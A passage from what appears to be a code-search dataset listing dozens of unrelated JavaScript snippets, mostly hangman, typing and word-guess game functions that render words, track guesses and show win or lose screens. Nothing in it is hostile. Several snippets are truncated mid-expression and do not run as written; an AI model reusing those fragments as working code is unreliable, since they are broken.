/ 20, windowWidth / 5);\n }\n pop();\n\n}","function drawGame(word, letters) {\n document.querySelector('#display-status').innerHTML = displayStatus(word, letters);\n document.querySelector('#letter-slots').innerHTML = letterSlots(word, letters);\n document.querySelector('#keyboard').innerHTML = keyboard(letters);\n}","function showNewWord(){\n// document.getElementById(\"wordToType\").innerHTML=\" \";\n $(\"#wordBox\").val(\"\");\n// $(\"#wordToType\").html(words[index][0]);\n if (words.length === alreadyUsed.length){\n endGame();\n }\n console.log(\"choosing word\");\n chooseWord();\n document.getElementById(\"wordToType\").innerHTML= words[index][0];\n\n }","function startGame(){\r\n\t \r\n\t let dumDumDum = [];\r\n\t for( iii=0; iii < randomWord.length ; iii++){\t\t\t\r\n\t\t\tdumDumDum.push(\"_\");\r\n\t } \r\n\t// Change the game textcontents to starting values\r\n\tdocument.querySelector(\".the_word\").innerHTML =\"The word: \"+dumDumDum+\" \";\r\n\tdocument.querySelector(\".guesses\").innerHTML =\"Guesses: \";\r\n\tdocument.querySelector(\".guesses_left\").innerHTML =\"Wrong guesses left: \"+livesLeft+\" \"; \t \r\n }","drawSecretWord() {\n ctx.clearRect(0,canvas.height-40,canvas.width,40)\n GAME.secretWord.includes(PLAYER.guess) ? PLAYER.guessStatus = true : PLAYER.guessStatus = false\n for (let i = 0; i < GAME.secretWord.length; i++) {\n const element = GAME.secretWord[i];\n if(str_replace(from,to,element) === PLAYER.guess) {\n PLAYER.guessStatus = true\n GAME.answerArray[i] = element\n }\n let x = (canvas.width - ((GAME.secretWord.length * 24) + ((GAME.secretWord.length - 1) * 4))) + (i * (24 + 4))\n ctx.beginPath()\n ctx.font = \"32px calibri\"\n ctx.fillText(GAME.answerArray[i], x, canvas.height - 6)\n ctx.closePath()\n }\n }","function displayGameOver() {\n push();\n textAlign(CENTER,CENTER);\n textSize(60);\n fill(0,0,0);\n stroke(255,0,0);\n textFont(fontGame);\n text(\"Your artistic experience is terminated \\n sorry Warhol \\n \\n REFRESH to play again :)\",width/2,height/2);\n pop();\n}","function startGame() {\n // Randomly selecting a word from our array\n wordUsedForGame = hangManWordChoices[Math.floor(Math.random() * hangManWordChoices.length)];\n // creating a new word object with the random word\n wordConstructed = new Word(wordUsedForGame);\n // calling the renderWord function to push the letters into the word\n wordConstructed.renderWord();\n\n console.log(\"\\n\");\n console.log(\"Guess The Word. You have 7 chances to get it Right!!!\");\n console.log(\" Hint: The Words are computer Languages \\n\");\n\n // Displaying the dashes based on the word selected using the Word display function \n // they will be dashes because the guessed is set to false\n console.log(wordConstructed.display());\n console.log(\"\\n\");\n\n // calling askLetters to run the game\n askLetters();\n\n\n}","function startGame() {\n wrongGuesses = ' ';\n allGuesses = \"\";\n currentDisplay = [];\n //Randomly selects a word from the array wordList\n wordString = (wordList[Math.floor(Math.random() * wordList.length)]).toUpperCase(); \n // Put the selected word into an array\n word = wordString.split(''); \n guessRemain = wordString.length; \n for (var i = 0; i < guessRemain; i++){\n currentDisplay[i] = \"_\"; \n //displays the game\n }\n displayGame(); \n }","function startGame() {\n renderNewWord();\n startBar();\n }","function wordplay() {\n librarycall()\n play = new Word(choice);\n plays = 10\n alphaArr = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n omegaArr = []\n console.log(play.fullDisplay());\n console.log(\"Tries left = \" + plays);\n testletter()\n}","function stepWord() {\n word++;\n syllable = 0;\n process.stdout.write(\" \");\n}","function start()\n{\ndocument.getElementById(\"two\").style.marginTop=\"20%\";\n\nvar x = Math.floor((Math.random() * 25) + 1); // to display the fist word and this word will change after every 3 second...\n\ndocument.getElementById(\"two\").innerHTML =obj.spellings[x].word;\n\nsetInterval(function() {game()},4000); // changing word after every 3 se....\n}","function endLose(word) {\n console.log(\"You lose. The word was:\");\n showWord(word);\n}","function draw() {\n\n noStroke();\n fill(255);\n var extraSpace = 0;//The words have its own length , so it needs to be offset to the right \n // i MEANS THE FIRST LETTER OF THE sentence \n\n for (let i = 0; i < words.length; i++) {\n // appearing over time...\n //note that canvas Is loading 60 times per second which means if the first letter is 1 then when francount reaches and goes beyond 1*100 the first word get pirnted \n\n if (frameCount > i * 100) {\n var wordMarginLeft = 30 * i; //The distance of each word is 30 // letters got print with the distance of 30 \n \n if (i > 0) {\n extraSpace = extraSpace + words[i - 1].length * 13; //we need to add extra space in letters and it's caculated by the length of the letters\n }\n fill(255);\n text(words[i], wordMarginLeft + extraSpace, 20);\n }\n }\n \n \n}","function drawHangman() {\n}","function updateDisplay() {\n document.getElementById(\"totalWins\").innerText = wins;\n document.getElementById(\"currentWord\").innerText = \"\";\n\n for (let i = 0; i < guessingWord.length; i++) {\n document.getElementById(\"currentWord\").innerText += guessingWord[i];\n }\n document.getElementById(\"remainingGuesses\").innerText = remainingGuesses;\n document.getElementById(\"guessedLetters\").innerText = guessedLetters;\n if (remainingGuesses <= 0) {\n document.getElementById(\"gameover-image\").style.cssText = \"display: block\";\n document.getElementById(\"pressKeyTryAgain\").style.cssText =\n \"display: block\";\n hasFinished = true;\n }\n}","function gameStart() {\n resetCounters();\n generateRandomWord();\n hideTheWord(); \n document.getElementById(\"guesses\").innerHTML = guessesLeft;\n // Make variable to track letters to be guessed\n var lettersLeft = randWord.length;\n console.log(randWord);\n\n setupKeyLogging();\n \n document.getElementById(\"wins\").innerHTML = wins;\n \n \n\n\n removeHandler(); \n}","function writeWord(){\n var letterOrDash = \"\";\n var allLettersGuessed = true;\n\n for(var i=0; i `\n \n ${correctLetters.includes(letter) ? letter : '' }\n \n `\n )\n .join('')\n }\n `;\n // TO check -> console.log(word.innerText);\n // To chack -> console.log(wordText);\n const wordText = word.innerText.replace(/\\n/g, '');\n if(wordText === selectedWord) {\n message.innerText = 'You Won!';\n popup.style.display = 'flex';\n }\n}","function renderEndGameText() {\n gameBackground.zIndex = 45;\n sortZindex(gameScreen);\n longBoard.visible = true;\n endText.visible = true;\n endText.speed = END_TEXT_SPEED;\n endGameSelected = true;\n}","function displayWord() {\n wordElement.innerHTML = \n `${selectedWord\n .split('')\n .map(letter =>\n `\n ${correctLetters.includes(letter) ? letter : ''}\n `\n ).join('')}`;\n \n //console.log(wordElement.innerText);\n \n //Remove New Line Character \n const innerWord = wordElement.innerText.replace(/\\n/g, '')\n //console.log(innerWord); \n\n if (innerWord === selectedWord) {\n finalMessage.innerText = 'You Won!';\n popUp.style.display = 'flex';\n }\n}","function displayWord(array){\n word = array[Math.floor(Math.random() * array.length)];\n var display = document.getElementById(\"display\");\n display.innerText = word;\n}","function gameOver() {\n background(0);\n fill(255, 0, 0);\n textFont(myFont, 80);\n textAlign(CENTER);\n text(\"LOSER\", 400, 200);\n textSize(32);\n text(\"HAVING DRANK ALL THE WATER, OR ATTEMPTED TO SHARE IT,\", 400, 270);\n text(\"YOU HAVE DONE THE WRONG THING!\", 400, 285);\n text(\"THE DUTIFUL THING WOULD HAVE BEEN TO GIVE IT\", 400, 300);\n text(\" TO THE DYING PERSON FIRST.\", 400, 315);\n text(\"BETTER LUCK NEXT TIME.\", 400, 330);\n textSize(40);\n text(\"REFRESH THE PAGE TO PLAY AGAIN\", 400, 485);\n}","startGame() {\r\n $(\"#overlay\").hide();\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n }","function showTheWord() {\n // get random word then store it in the global var theWord\n theWord = getRandomWord().split(''); // make it into array\n\n // place underscore referencing the number of letters\n for (var i = 0; i < theWord.length; i++) {\n $(\"#letterHolder\").append($(\"_\"));\n }\n }","function showGameOver() {\n gameSound.pause();\n textSize(60);\n textAlign(CENTER,CENTER);\n fill(243,231,45);\n var gameOverText = \"GAME OVER\\n\";\n gameOverText += \"You caught \" + snitchEaten + \" snitch\\n\";\n gameOverText += \"before you died.\"\n text(gameOverText,width/2,height/2);\n}","function startGame()\n{\n\t//selects random word\n\ttargetWord = wordBank[Math.floor(Math.random()* wordBank.length)];\n\ttargetWordArray = targetWord.split(\"\");\n\t//transforms word to an array of dashes\n\tfor(i=0; i=10) {\n wordz+=\"\\n YOU WIN\";\n\n} else {\n wordz+=\"\\n YOU LOSE\";\n}\n words = wordz;\n}","function newWord(){\n var wordBank = [\"susie\", \"transmogrifier\", \"spacemanspiff\",\"gross\", \"calvinball\", \"stupendousman\", \"tracerbullet\", \"toboggan\", \"duplicator\", \"misswormwood\", \"hamsterhuey\", \"gooeykablooie\"];\n console.log(wordIndex)\n console.log(wordBank.length)\n if(wordIndex >= wordBank.length){\n //changed message board background color to blue\n document.getElementById(\"message-board\").style.backgroundColor = \"#3dbaec\"\n updateField(\"message-text\", \"Aww shucks, we're all out of words
You got \"+wins+\" out of \"+wordBank.length+\" right!\");\n return;\n }\n currentWord=wordBank[wordIndex];\n wordDisplay.innerHTML = createDisplay(currentWord);\n //changed message board background color to blue\n document.getElementById(\"message-board\").style.backgroundColor = \"#3dbaec\"\n //upddate message board\n updateField(\"message-text\", \"Next Word!\")\n //resetting parameters\n guessedArray = [\"\"];\n updateLettersGuessedField();\n guessesLeft = 6\n updateField(\"guesses-left\",guessesLeft);\n lettersCorrect = 0;\n //reset stopGame\n stopGame = false; \n}","function wordGame(){\n\n questions=['Famoso barrio electronico de Tokio','Provincia de catalunya','Se usa en la pesca','Mamifero marino con aspecto amigable','Arma comun usada en la epoca medieval',\n 'Pais del sudeste asiatico','Felino de cuatro patas','Lugar donde pasar la noche','Causa fiebre','Mamifero comun en Africa','Ataque suicida de los pilotos japoneses','Satelite de la tierra',\n 'Planeta cercano al sol del sitema solar','Que hace daño o es perjudicial.','Se usa pra hacer fuego','Mamifero nativo de Malasia e Indonesia','Monumento del antiguo Egypto','Se elabora a partir de leche quajada',\n 'Lectura de composiciones poeticas','Tambien conocida como Russia Asiatica','Herramienta electrica usada en tareas de bricolaje','Criatura mitologica con forma de caballo blanco',\n 'Contiene lava','Reproductor de audio portatil','Instrumento musical de percusion','Web dedicada a compartir videos','Ciencia que estudia los animales']\n \n anwsers=['akihabara','barcelona','cebo','delfin','espada','filipinas','gepardo','hotel','Infeccion','jirafa','kamikaze','luna','Mercurio','nocivo','leña','oranguntan','piramide','queso','recital',\n 'siberia','taladro','unicornio','Volcan','walkman','xilofono','youtube','zoologia']\n \n letters=[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"Ñ\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"]\n\n for(let i=0;i';\n document.getElementById(\"letter\" + i).innerHTML = \"_ \";\n }\n return randomWord;\n}"],"string":"[\n \"function DisplayWord() {\\n\\tvar wordToPrint : String;\\n\\tvar hWord : GameObject;\\n\\t//var offset : float;\\n\\tswitch(this.kana) {\\n\\t\\tcase \\\"a\\\":\\n\\t\\t\\twordToPrint = \\\"あ り\\\";\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase \\\"i\\\":\\n\\t\\t\\twordToPrint = \\\"い な ず ま\\\";\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase \\\"u\\\":\\n\\t\\t\\twordToPrint = \\\"う さ ぎ\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\n\\t\\tcase \\\"e\\\":\\n\\t\\t\\twordToPrint = \\\"え ん\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"o\\\":\\n\\t\\t\\twordToPrint = \\\"お す\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ka\\\":\\n\\t\\t\\twordToPrint = \\\"か た な\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ki\\\":\\n\\t\\t\\twordToPrint = \\\"き り か ぶ\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ku\\\":\\n\\t\\t\\twordToPrint = \\\"く さ り\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ke\\\":\\n\\t\\t\\twordToPrint = \\\"け る\\\";\\n\\t\\tbreak;\\n\\t\\t\\t\\n\\t\\tcase \\\"ko\\\":\\n\\t\\t\\twordToPrint = \\\"こ ぶ し\\\";\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tdefault:\\n\\t\\t\\t;\\n\\t\\t\\t\\t\\n\\t}\\n\\t//hWord = Instantiate(this.word, this.player.transform.position, Quaternion.identity);\\n\\t//offset = .005 * wordToPrint.Length;\\n\\thWord = Instantiate(this.word, new Vector3(0.45, 0.6, -8), Quaternion.identity);\\n\\thWord.guiText.text = wordToPrint;\\n}\",\n \"function dashes(){\\r\\n document.getElementById('word').innerHTML = '';\\r\\n for (var i = 0; i < guesses.length; i++)\\r\\n document.getElementById('word').innerHTML += guesses[i] + ' ';\\r\\n document.getElementById('start').style.visibility = \\\"hidden\\\";\\r\\n}\",\n \"function handleText() {\\n if (index < text.length) {\\n id(\\\"output\\\").innerText = \\\"\\\";\\n let curWord = text[index];\\n id(\\\"output\\\").innerText = curWord;\\n index++;\\n } else {\\n endGame();\\n }\\n }\",\n \"function showWord(word) {\\n var i;\\n for (i = 0; i < word.length; i ++) {\\n process.stdout.write(word[i]);\\n }\\n playAgain();\\n}\",\n \"function displayNextWordFor(objectName){\\n\\tvar obj = HangMan[objectName];\\n\\tHangMan.gameReady = true;\\n\\tobj.word = obj.words[Math.floor(Math.random() * obj.words.length)].toLowerCase();\\n\\tobj.lives = 10;\\n\\tobj.guesses = [];\\n\\tobj.trueg = [];\\n\\tfor ( i = 0 ; i < obj.word.length ; i++ ){obj.trueg.push('0')};\\n\\tobj.falseg = [];\\n\\tloadObject(objectName);\\n}\",\n \"function displayWord(word, words, firstRound) {\\n\\t\\tconsole.log(\\\"currWord: \\\" + word);\\n\\t\\tdocument.getElementById(\\\"currWord\\\").innerHTML = word;\\n\\t\\tvar currChar = 0;\\n\\n\\t\\tvar wordLength = word.length;\\n\\n\\t\\t$('#currWord').on('click', function() {\\n\\t\\t\\tif (firstRound) {\\n\\t\\t\\t\\t$('#typeDummy').toggleClass('highlight');\\n\\t\\t\\t}\\n\\t\\t})\\n\\n\\t\\t//when the user types a key\\n\\t\\tdocument.onkeypress = function(evt) {\\n\\t\\t\\tif (!gameOver) {\\n\\t\\t\\t\\tif (evt.keyCode == 8) {\\n\\t\\t\\t\\t \\tevt.preventDefault();\\n\\t\\t\\t\\t}\\t\\t\\n\\t\\t\\t evt = evt || window.event;\\n\\t\\t\\t var charCode = evt.which || evt.keyCode;\\n\\t\\t\\t var charTyped = String.fromCharCode(charCode);\\n\\n\\t\\t\\t if ((charCode == 39) || (charCode <= 122 && charCode >= 97)) {\\n\\t\\t\\t\\t if (charCode == word.charCodeAt(currChar)) {\\n\\t\\t\\t\\t \\tcurrChar++;\\n\\t\\t\\t\\t \\tdocument.getElementById(\\\"currWord\\\").innerHTML = \\\"\\\"\\n\\t\\t\\t\\t \\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t + word.substring(0,currChar) + \\\"\\\"\\n\\t\\t\\t\\t \\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t + word.substring(currChar, wordLength);\\n\\t\\t\\t\\t } else {\\n\\t\\t\\t\\t \\tmistakeCount++;\\n\\t\\t\\t\\t \\tif (mistakeCount < 8) {\\n\\t\\t\\t\\t\\t \\t$(\\\"#misses\\\").html( $(\\\"#misses\\\").html() + \\\"X\\\" );\\n\\t\\t\\t\\t \\t} else {\\n\\t\\t\\t\\t \\t\\t$(\\\"#misses\\\").html(mistakeCount);\\n\\t\\t\\t\\t \\t}\\n\\t\\t\\t\\t }\\n\\t\\t \\t}\\n\\n\\t\\t \\t//once the user has fully typed the word\\n\\t\\t\\t if (currChar == wordLength) {\\n\\t\\t\\t \\tif (firstRound) {\\n\\t\\t\\t \\t\\tstartGame();\\n\\t\\t\\t \\t} else {\\n\\t\\t\\t \\t\\twordCount++;\\n\\t\\t\\t \\t\\trando = words[Math.floor(Math.random() * words.length)];\\n\\t\\t\\t \\t\\tdisplayWord(rando, words, false);\\n\\t\\t\\t \\t}\\n\\t\\t\\t }\\n\\t\\t }\\n\\t\\t};\\n\\t}\",\n \"function final(any) {\\n element.wordGuess.textContent = string[any]; // will show win or lose string property\\n sound[any].play(); //will play win or lose sound\\n score[any]++; //will increment win or lose score\\n update(); \\n setTimeout(function () { //timer so that you can enjoy the music and strings\\n reset();\\n }, 2000);\\n }\",\n \"function displayWord(myword, desc){\\r\\n let display = \\\"\\\";\\r\\n for(let i = 0; i < myword.length; i++){\\r\\n if(i != myword.length - 1){\\r\\n display += myword.charAt(i) + \\\" \\\";\\r\\n } else {\\r\\n display += myword.charAt(i);\\r\\n }\\r\\n }\\r\\n document.getElementById(\\\"display\\\").innerHTML = display;\\r\\n document.getElementById(\\\"desc\\\").innerHTML = desc;\\r\\n}\",\n \"function Display(){\\n document.getElementById(\\\"wins\\\").textContent = countWins;\\n document.getElementById(\\\"dispWord\\\").textContent = dispWord;\\n document.getElementById(\\\"guessesLeft\\\").textContent = 12 - countGuesses;\\n document.getElementById(\\\"lettersGuessed\\\").textContent = lettersGuessed;\\n console.log(\\\"Random word is: \\\" + guessWord);\\n}\",\n \"function endWord() {\\n var stringDisplay = \\\"\\\"\\n globalList.forEach(function(item){\\n stringDisplay += item\\n document.querySelector(\\\"#applyGuess\\\").innerHTML = stringDisplay.toUpperCase()\\n document.querySelector(\\\"#endWord\\\").innerHTML = \\\"Word Was:\\\"\\n })\\n}\",\n \"function reveal(guess) {\\n for (var z = 0; z < word.length; z++) {\\n if (word[z] == guess) {\\n context.fillText(word[z], (100 + (z * 20)), 490);\\n lettersRemaining--;\\n console.log(\\\"reveal: \\\" + lettersRemaining);\\n }\\n }\\n }\",\n \"function showWord(words)\\r\\n{\\r\\n\\t//generate random array index\\r\\n\\tconst randIndex=Math.floor(Math.random() * words.length);\\r\\n\\t//output random word\\r\\n\\tcurrentWord.innerHTML=words[randIndex];\\r\\n}\",\n \"function showword(words){\\n const randindex = Math.floor(Math.random() * words.length);\\n\\n //output random word\\n currentword.innerHTML = words[randindex];\\n}\",\n \"function displayLetter(myword, letter, word){ // by jaguar\\r\\n let display = \\\"\\\";\\r\\n let mywordarr = myword.split(\\\"\\\")\\r\\n for(let i = 0; i < myword.length; i++){\\r\\n if(i != myword.length){\\r\\n if(letter === word.charAt(i)){\\r\\n display = display + letter + \\\" \\\";\\r\\n mywordarr[i] = letter\\r\\n } else {\\r\\n display += myword.charAt(i) + \\\" \\\";\\r\\n }\\r\\n } else {\\r\\n display += myword.charAt(i);\\r\\n }\\r\\n }\\r\\n displayed = mywordarr.join(\\\"\\\")\\r\\n document.getElementById(\\\"display\\\").innerHTML = display;\\r\\n checkWincondition(display, word)\\r\\n}\",\n \"function updateDisplay(wordArray, midGame) {\\n // let wordJoin = wordArray.join(\\\" \\\");\\n document.getElementById(\\\"guess-word\\\").innerHTML = wordArray.join(\\\" \\\");\\n if (midGame !== undefined) {\\n document.getElementById(\\\"letters-guessed\\\").innerHTML = \\\"Letters guessed: \\\" + midGame.join(\\\", \\\");\\n document.getElementById(\\\"guess-remain\\\").innerHTML = \\\"Guesses left: \\\" + parseInt(numGuesses - midGame.length);\\n document.getElementById(\\\"hangman-graphic\\\").innerHTML = hangdood[midGame.length];\\n }\\n else {\\n document.getElementById(\\\"letters-guessed\\\").innerHTML = \\\"Letters guessed: \\\";\\n document.getElementById(\\\"guess-remain\\\").innerHTML = \\\"Guesses left: \\\" + numGuesses;\\n }\\n }\",\n \"function renderNewWord() {\\n\\n // random word generator\\n var random = Math.floor(Math.random() * wordLength.length);\\n\\n // get a random word and clear the string display\\n let word = wordLength[random];\\n wordDisplayString.innerHTML = \\\"\\\";\\n\\n // for each character in the word array create a 1 char span\\n word.split(\\\"\\\").forEach(character => {\\n const characterSpan = document.createElement(\\\"span\\\");\\n characterSpan.innerText = character;\\n wordDisplayString.appendChild(characterSpan);\\n })\\n\\n // set input to null and focus it\\n wordInput.value = null;\\n wordInput.focus();\\n }\",\n \"function showWord(words) {\\r\\n const randIndex = Math.floor(Math.random() * words.length);\\r\\n currentWord.innerHTML = words[randIndex];\\r\\n }\",\n \"displayWordInfo() {\\r\\n this.displayHangman();\\r\\n this.displayLives();\\r\\n this.displayLetters();\\r\\n this.displayLettersToGuess();\\r\\n }\",\n \"function showWord(words) {\\n const randIndex = Math.floor(Math.random() * words.length);\\n currentWord.innerHTML = words[randIndex];\\n}\",\n \"function displayNextLevel() {\\r\\n getWord(level);\\r\\n encryptGameWord();\\r\\n writeEncryptedWord();\\r\\n writeGameInfo();\\r\\n toggleGameElements();\\r\\n startTimer(80);\\r\\n $(\\\"#user-word\\\").focus();\\r\\n }\",\n \"function renderGame() {\\n // Set a random word\\n randomNumber = Math.floor(Math.random() * 21); \\n currentWord = wordArray[randomNumber][0];\\n console.log(\\\"currentWord\\\", currentWord);\\n\\n if (currentWord.length < 8) {\\n guessesLeft = currentWord.length + 3;\\n // console.log(\\\"guessesLeft\\\", guessesLeft);\\n } else {\\n guessesLeft = 8;\\n }\\n\\n lettersGuessed = [];\\n // console.log(\\\"lettersGuessed\\\", lettersGuessed);\\n dashArr = [];\\n\\n\\n\\n\\n splitArr = currentWord.toLowerCase().split('');\\n // console.log(\\\"splitArr\\\", splitArr);\\n\\n // Check the length of word and render dashes\\n // Check for spaces\\n splitArr.map(index => {\\n if (index === \\\" \\\") {\\n dashArr.push(' ');\\n }\\n\\n else {\\n dashArr.push('-');\\n }\\n })\\n\\n // console.log(\\\"dashArr\\\", dashArr);\\n\\n displayWord = dashArr.join('');\\n\\n // console.log(\\\"displayWord\\\", displayWord);\\n\\n document.querySelector(\\\"#display-word\\\").innerHTML = displayWord.toUpperCase();\\n document.querySelector(\\\"#display-wins\\\").innerHTML = wins;\\n document.querySelector(\\\"#display-losses\\\").innerHTML = losses;\\n document.querySelector(\\\"#display-guesses-left\\\").innerHTML = guessesLeft;\\n document.querySelector(\\\"#display-image\\\").src = \\\"./assets/images/finnandjake.png\\\";\\n document.querySelector(\\\"#display-letters-guessed\\\").innerHTML = lettersGuessed;\\n document.querySelector(\\\"#instructions\\\").innerHTML = \\\"Guess A Letter To Get Started!\\\" ;\\n\\n\\n\\n}\",\n \"function endWin(word) {\\n console.log(\\\"You win. The word was:\\\");\\n showWord(word);\\n}\",\n \"function hangman(){\\n var x = word.length;\\n var y = x-1;\\n var spaces = 0;\\n while (x>0){\\n numChar++;\\n var letter = word.substring(y,x);\\n if(letter === \\\" \\\"){\\n document.getElementById('letter'+x).innerHTML = \\\" \\\";\\n document.getElementById('letter'+x).style.visibility = \\\"hidden\\\";\\n document.getElementById('letter'+x).style.display = \\\"block\\\";\\n document.getElementById('underline'+x).style.display = \\\"block\\\";\\n spaces++;\\n }\\n else{\\n document.getElementById('letter'+x).innerHTML = letter;\\n document.getElementById('letter'+x).style.visibility = \\\"hidden\\\";\\n document.getElementById('underline'+x).style.display = \\\"block\\\"; \\n document.getElementById('underline'+x).style.borderBottom = \\\"3px solid white\\\";\\n }\\n x--;\\n y--;\\n }\\n wordLength = word.length - spaces;\\n document.getElementById('gamePage').style.display = \\\"block\\\";\\n\\n}\",\n \"function drawboard(location, word) {\\n for (var i = 0; i < word.length; i++) {\\n context.fillText('_ ', (location[0] + i * 20), location[1]);\\n }\\n }\",\n \"function showText() {\\n $(\\\"#textDisplay\\\").empty();\\n $(\\\"#instructions\\\").empty();\\n randomWords = [];\\n for (var i = 0; i < wordCount; i++) {\\n var ranWord = wordList[Math.floor(Math.random() * wordList.length)];\\n if (wordList[wordList.length - 1] !== ranWord || wordList[wordList.length - 1] === undefined) {\\n randomWords.push(ranWord);\\n }\\n }\\n randomWords.forEach(function(word){\\n $(\\\"#textDisplay\\\").append($(\\\"\\\",{\\\"text\\\": word + \\\" \\\",\\\"class\\\":\\\"word\\\"}));\\n });\\n textDisplay.firstChild.classList.add(\\\"highlightedWord\\\")\\n }\",\n \"function showWord(words) {\\n // Generate random array index\\n const randIndex = Math.floor(Math.random() * words.length);\\n // Output the random word\\n currentWord.innerHTML = words[randIndex];\\n}\",\n \"function currentWordDisplay() {\\n var activeCharacterDisplay = document.querySelector(\\\"#activeCharacterDisplay\\\");\\n activeCharacterDisplay.textContent = answerArray.join(\\\" \\\");\\n}\",\n \"function showWord(words){\\r\\n// generate random array index//\\r\\nconst randIndex =math.floor(math.random() * words.length);\\r\\n// output random words//\\r\\ncurrentWord.innerHTML = words[randIndex];\\r\\n}\",\n \"function right() {\\r\\n //if guess is correct\\r\\n //keep checking if to see if there is another space for the same letter\\r\\n for (var j = 0; j < underScore.length; j++) {\\r\\n if (word[j] === guess) {\\r\\n underScore[j] = guess;\\r\\n var blank = \\\" {currentWord.innerHTML = words[0][randIndex]}, 200)\\r\\n}\",\n \"function updateDisplay() {\\n document.getElementById(\\\"counterWins\\\").innerText = wins;\\n var guessingWordText = \\\"\\\";\\n for (var i = 0; i < guessingWord.length; i++) {\\n guessingWordText += guessingWord[i];\\n }\\n document.getElementById(\\\"currentWord\\\").innerText = guessingWordText;\\n document.getElementById(\\\"counterLives\\\").innerText = remainingGuesses;\\n document.getElementById(\\\"counterGuessed\\\").innerText = guessedLetters;\\n}\",\n \"function lose() {\\n gameEnd.css('display', 'block');\\n endParagraph.html(`Being eaten alive by the bugs probably hurt. You gathered ${points} ${points == 1 ? 'point' : 'points'} before that happened.`);\\n}\",\n \"function underline(){\\r\\n\\r\\n underscore = [];\\r\\n for(let i=0;i 0) {\\n wins++;\\n var showWins = document.getElementById(\\\"wins\\\");\\n showWins.innerHTML = wins;\\n }\\n }\\n}\",\n \"function updateDisplay() {\\n\\n document.getElementById(\\\"totalWins\\\").innerText = wins;\\n document.getElementById(\\\"totalLosses\\\").innerText = losses;\\n\\n // Display how much of the word we've already guessed on screen.\\n var guessWordText = \\\"\\\";\\n for (var i = 0; i < guessWord.length; i++) {\\n guessWordText += guessWord[i];\\n }\\n\\n //\\n document.getElementById(\\\"currentWord\\\").innerText = guessWordText;\\n document.getElementById(\\\"lifePoints\\\").innerText = lifePoints;\\n document.getElementById(\\\"guessedLetters\\\").innerText = guessedLetters;\\n}\",\n \"displayLetters() {\\r\\n let wordHidden = \\\"\\\\n\\\";\\r\\n for (let i = 0; i < this.text.length; i++) {\\r\\n if (this.lettersToGuess.includes(this.text.charAt(i))) {\\r\\n wordHidden += HangmanUtils.symbol;\\r\\n }\\r\\n else {\\r\\n wordHidden += this.text.charAt(i);\\r\\n }\\r\\n wordHidden += \\\" \\\";\\r\\n }\\r\\n console.log(wordHidden);\\r\\n }\",\n \"function displayGame() {\\n getAnimal();\\n animalType.innerHTML = gameAnimalType;\\n animalToGuess.innerHTML = handleGameWord(gameAnimalExample);\\n document.getElementById(\\\"guess\\\").focus();\\n document.getElementById(\\\"guess\\\").select();\\n wordWrapper.classList.remove(\\\"vis-hidden\\\");\\n }\",\n \"function newGame() {\\n gameStart = true\\n clearOut();\\n ransomdomize();\\n createSpan();\\n \\n //console.log(chosenWord); //CHEAT -- GET THE ANSWERS IN CONCOLE\\n \\n}\",\n \"function clock() {\\n timeElapsed = timeElapsed + letterTime;\\n if (!flipped) {\\n lettersShow = lettersShow + 1;\\n flipped = (lettersShow >= currentWord.length)\\n }else{\\n if ( ((wordTime - timeElapsed)/letterTime) < currentWord.length ) {\\n lettersShow = lettersShow - 1;\\n \\n if (lettersShow == 0) {\\n flipped = false;\\n timeElapsed = 0;\\n changeWord();\\n }\\n }\\n }\\n\\n $('#anim-text').text(function(i,t) {\\n return currentWord.substr(0,lettersShow);\\n })\\n }\",\n \"function printToPage(randomWord) {\\n myWord = randomWord.word;\\n // concatenate array to Str for printing on one line\\n var myStr = '';\\n console.log(myWord);\\n for (var i = 0; i < myWord.length; i++){\\n if (correctGuesses.includes(myWord[i])) {\\n myStr += (\\\" \\\" + myWord[i] + \\\" \\\");\\n }\\n else {\\n myStr += (\\\" _ \\\");\\n }\\n };\\n console.log('\\\\n' + myStr + '\\\\n');\\n if (correctGuesses.length == myWord.length) {\\n console.log(\\\"GG bro\\\");\\n }\\n else {\\n promptUser();\\n };\\n \\n}\",\n \"function draw() {\\n if (lives <= 0) {\\n ctx.clearRect(0, 0, canvas.width, canvas.height);\\n ctx.font = \\\"60px Arial\\\";\\n ctx.fillStyle = \\\"red\\\";\\n ctx.fillText(\\\"Game Over\\\", position, canvas.height / 2);\\n return;\\n }\\n\\n /* user type in the word that is being display */\\n\\n let typeWord = wordInput.value.toLowerCase();\\n ctx.clearRect(0, 0, 400, 400);\\n movingBackground();\\n wordFalls();\\n score();\\n lifeLine();\\n if (typeWord === wordArr[randomIndex]) {\\n projectile();\\n }\\n window.requestAnimationFrame(draw);\\n }\",\n \"function renderGame() {\\n // If there are still more words in the array, set the display and write it to the page\\n if (currentIndex <= (secretWords.length - 1)) {\\n secretWord = secretWords[currentIndex];\\n display = repeatChar(secretWord.length, '_');\\n tries = 0;\\n document.querySelector(\\\"#progress\\\").innerHTML = \\\"Guess the bread: \\\" + display;\\n document.querySelector(\\\"#wins\\\").innerHTML = \\\"Total Wins: \\\" + wins;\\n }\\n // If the supply of breads has been exhausted, render the end game screen.\\n else {\\n document.querySelector(\\\"#progress\\\").innerHTML = \\\"Game Over!\\\";\\n document.querySelector(\\\"#results\\\").innerHTML = \\\"Refresh the page to play again.\\\";\\n document.querySelector(\\\"#wins\\\").innerHTML = 